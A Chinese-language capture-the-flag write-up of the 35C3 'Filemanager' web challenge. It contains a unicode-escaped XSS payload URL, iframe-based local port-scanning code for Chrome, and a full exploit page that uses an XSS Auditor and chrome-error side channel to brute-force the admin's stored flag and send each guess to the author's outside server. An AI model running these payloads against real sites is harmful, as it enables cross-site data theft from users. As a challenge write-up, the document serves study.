- A+
Check out my web-based filemanager running at https://filemanager.appspot.com.
The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1
题目描述
一个在线文件存储系统:
-
可以自定义文件名,文件内容,并对文件进行存储。
-
可以根据查询条件对已经存储的文件内容进行搜索,并对存在的内容进行高亮显示。
连上nc端口,首先发现使用了proof-of work模块进行了类似验证码校验。
校验成功后可以输入URL,发现可以对任意URL进行访问。
使用nc查看题目机器人请求头信息:
GET / HTTP/1.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3617.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
可以发现使用的HeadlessChrome浏览器。
安全脉搏:35C3 CTF Filemanager Wrtieup
无法解决的XSS
管理员的Flag存在这个文件系统里,还能控制管理员访问页面,Xss可能是个不错的选择,在搜索成功的页面发现了XSS。
<script>
(()=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = 'DEF';
let idx = text.indexOf(q);
pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
}
})();
</script>
高亮功能引起,经过测试这里做了一些实体过滤,但是这里的的模板字符串使用了${expression},JavaScript字符变量支持Unicode,编码即可绕过。
https://filemanager.appspot.com/search?q=%5Cu003c%5Cu0069%5Cu006d%5Cu0067%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0078%5Cu0020%5Cu006f%5Cu006e%5Cu0065%5Cu0072%5Cu0072%5Cu006f%5Cu0072%5Cu003d%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%5Cu0028%5Cu0027%5Cu0072%5Cu0061%5Cu0069%5Cu0034%5Cu006f%5Cu0076%5Cu0065%5Cu0072%5Cu0027%5Cu0029%5Cu003b%5Cu003e
触发这个XSS的前提是搜索成功并且需要知道文件的全部内容,但是我们不清楚管理员bot的文件内容,使用自己账号尝试CSRF自行添加文件失败。
查看首页源码,发现因该是添加了CSRF校验。
<script>
function doSubmit(e) {
e.preventDefault();
document.getElementById('submit-button').disabled = true;
let filename = document.getElementById('filename').value;
const data = new FormData(e.target);
fetch('/create', {method: 'POST', body: data, headers: {XSRF: '1'}}).then(r=>{
document.getElementById('submit-button').disabled = false;
if (r.ok) {
let li = document.createElement('li');
let a = document.createElement('a');
li.appendChild(a);
a.innerText = filename;
a.href = `/read?filename=${filename}`;
document.getElementById('file-list').appendChild(li);
} else {
console.log('error creating file');
}
}).catch((e)=>{
console.log('error creating file '+e);
document.getElementById('submit-button').disabled = false;
});
return false;
}
var form = document.getElementById('create-form');
form.addEventListener("submit", doSubmit);
</script>
安全脉搏:35C3 CTF Filemanager Wrtieup
解决
CSRF+XSS这里因该是不行的,这里需要使用Chrome中的chrome-error://chromewebdata/页面完成题目。
Chrome浏览器Web端口扫描
Chrome浏览器的一个小技巧:
Chrome浏览器中的iframe为例,在对一个URL发送请求时,添加onload事件,不管是否请求成功,都会触发onload事件,因此我们无法单纯通过onload事件进行判断请求结果(端口是否开放)。
但是Chrome浏览器在向一个没有被服务侦听的端口发送请求时,将会显示错误页面,Chrome此时的URL已经变为chrome-error://chromewebdata/。
onload、chrome-error两者结合即可实现Web端口扫描,Demo代码如下:
<script>
var iframe = document.createElement('iframe');
var url = "http://127.0.0.1:1089/";
iframe.onload = function () {
iframe.onload = function () {
console.log('端口不存在');
};
iframe.src = iframe.src + "#";
};
iframe.src = url;
document.body.appendChild(iframe);
</script>
先给iframe设置src为要扫描的Web端口,接着添加onload事件,修改src为请求src + "#",并在内部重新定义了onload事件。
onloads事件发生在资源加载完毕后:
如果扫描的端口存在,那么当前iframe资源为扫描的资源,同URL添加#(hash)是不会再次加载资源。
如果扫描的端口不存在,那么当前iframe资源为chrome-error://chromewebdata/,修改src后就会重新加载资源,就会触发内部重新定义的onload事件。
安全脉搏:35C3 CTF Filemanager Wrtieup
利用XSS Auditor和chrome-error
搜索的请求如下:
https://filemanager.appspot.com/search?q=Rai4over
使用Webapp搜索文件内容的匹配成功和失败的结果是不一样的,成功的时候会返回包含用于高亮的js:
<script>
(()=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = 'Rai4over';
let idx = text.indexOf(q);
pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
}
})();
</script>
失败时则极为简单:
<h1>no results</h1>
正确的思路是利用搜索功能,让管理员bot直接触发搜索请求,暴力猜解Flag,但是需要面临搜索结果判断和Flag数据外带两个问题,利用XSS Auditor和chrome-error即可解决。
搜索成功后,页面包含用于高亮的js,我们在URL中随便添加参数,内容为响应中的js内容,仅仅用于欺骗XSS Auditor,误以为页面遭受反射性XSS攻击进而进行拦截。
https://filemanager.appspot.com/search?q=Rai4over&noob=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b
把请求利用iframe进行加载,再添加如上的onload事件。
Xss拦截页面出现后,进入chrome-error://chromewebdata/页面,和端口扫描部分的味道一样了,利用#判断页面URL已经变化,重新加载资源,并且触发内部定义的onload事件,完成FLAG数据外带。
搜索失败后,利用#判断页面URL没有发生变化,不重新加载资源,无特殊操作。
安全脉搏:35C3 CTF Filemanager Wrtieup
让bot直接访问exp,然后vps通过log查看外带的Flag,exp如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>filemanager</title>
</head>
<body>
<script>
function sleep(time) {
var start = new Date().getTime();
while (true) if (new Date().getTime() - start > time) break;
}
function fuzzflag(char) {
var iframe = document.createElement('iframe');
var calls = 0;
iframe.onload = function () {
calls++;
if (calls > 1) {
iframe.onload = () => {
};
iframe.src = 'http://www.rai4over.cn/35c3/?flag=' + escape(flag + char);
}
iframe.src = iframe.src + '#';
};
iframe.src = URL.replace('FLAG', flag + char);
document.body.appendChild(iframe);
}
var URL = 'https://filemanager.appspot.com/search?q=FLAG&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b';
var strlist = '_Fabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var flag = '35C3';/*35C3_xss_auditor_for_the_win*/
for (var prop in strlist) {
fuzzflag(strlist[prop]);
sleep(50);
}
</script>
</body>
</html>
安全脉搏:35C3 CTF Filemanager Wrtieup